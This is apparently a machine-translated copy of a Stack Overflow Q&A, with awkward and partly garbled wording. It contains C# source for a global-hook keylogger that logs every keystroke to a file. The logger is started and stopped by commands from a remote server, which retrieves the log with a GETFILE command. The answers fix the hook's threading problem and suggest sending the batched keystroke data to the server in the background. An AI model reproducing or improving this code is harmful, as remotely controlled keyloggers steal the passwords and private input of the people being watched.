C# 在Form1中调用库时,它可以工作,但不能从其他任何地方调用

C# 在Form1中调用库时,它可以工作,但不能从其他任何地方调用,c#,windows,hook,C#,Windows,Hook,我有这个图书馆 我已经下载并编译成DLL。 起初,我遇到了一个奇怪的问题,它在我的项目中不起作用,但它在演示项目中起作用(使用完全相同的代码),但通过应用下面的消息,它得到了修复: 注意:我使用的是.NET4,与2010 Ultimate相比 嗯,我有一个Form1.cs文件,这是我应用程序的主要表单。 我还有其他文件:Client.cs、Script.cs、Keylogger.cs-不,这不是一个邪恶的键盘记录程序-这是一个关于安全性\抗病毒使用等的学校演示文稿。 Keylogger.cs有

我有这个图书馆
我已经下载并编译成DLL。
起初,我遇到了一个奇怪的问题,它在我的项目中不起作用,但它在演示项目中起作用(使用完全相同的代码),但通过应用下面的消息,它得到了修复:

注意:我使用的是.NET4,与2010 Ultimate相比
嗯,我有一个Form1.cs文件,这是我应用程序的主要表单。
我还有其他文件:Client.cs、Script.cs、Keylogger.cs-不,这不是一个邪恶的键盘记录程序-这是一个关于安全性\抗病毒使用等的学校演示文稿。
Keylogger.cs有一个静态类,下面是代码:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}
客户端类不是静态的-它管理与服务器的TCP连接,并将所有接收到的数据发送到Script.RunScript(string scr)(静态方法)。
好的,Script.RunScript应该调用Keylogger.Start(字符串位置)进行一些输入(STARTLOGGING c:\log.txt)
并调用Keylogger.Stop()进行一些输入(STOPLOGGING)
嗯,一切都很好,它调用Start,但它不起作用。
它完成了整个过程(计时器、事件、streamwriter等),但当我按下某个按钮时——整个计算机冻结了几秒钟,什么都没有发生(它甚至没有调用按键)——它只会第一次发生。任何其他时间-它都会忽略我的按键。
有趣的是,如果我从我的主窗体(在ctor中,在一个按钮点击事件中)调用Start,它确实可以工作!没有任何滞后。
我确实尝试过不同的事件(MouseDoubleClick、MouseMove),但都有相同的问题。

谢谢你,马克

我认为最好的办法是不要在UI事件上写入网络,而是让日志记录器写入本地文件或内存数据库或类似文件,然后让计时器定期将该消息的内容写入服务器。通过这种方式,您既可以向服务器发送更粗的消息(提高两台机器上的性能),也可以在后台线程上运行网络调用,这使UI感觉更快速。

UI再次响应的延迟是问题根本原因的一个明显迹象。您可以看到Windows正在自我修复,注意到回调没有响应。它会自动禁用挂钩

您可能违反的一个硬要求是,SetWindowsHookEx()调用必须从泵送消息循环的线程进行。这样Windows就可以通过按键进入并调用回调。如果通过单击按钮调用Start()方法,则单击事件将在程序的UI线程上运行

但当您通过网络活动拨打此电话时,可能不会。它们倾向于在线程池线程上运行。您的代码片段不清楚,您没有发布代码。针对此类问题的通用修复方法是使用Control.BeginInvoke()封送从工作线程到UI线程的调用。您可以在MSDN library文章中找到关于它的详细描述,以及stackoverflow.com上的许多答案


Fwiw,由于.NET4版本的CLR中的行为发生了更改,原始代码被破坏。它不再为程序集伪造本机模块。解决方法已经足够好了,它只需要一个有效的模块句柄。实际的一个并不重要,因为这不是一个全局钩子。

日志保存在客户机上作为参数发送的文件中,并且有一个命令(GETFILE)允许服务器读取日志。在没有一大堆后续问题的情况下对其进行排序,这真是太好了。你会做得很好的。请不要仅仅因为你能破解老师的密码。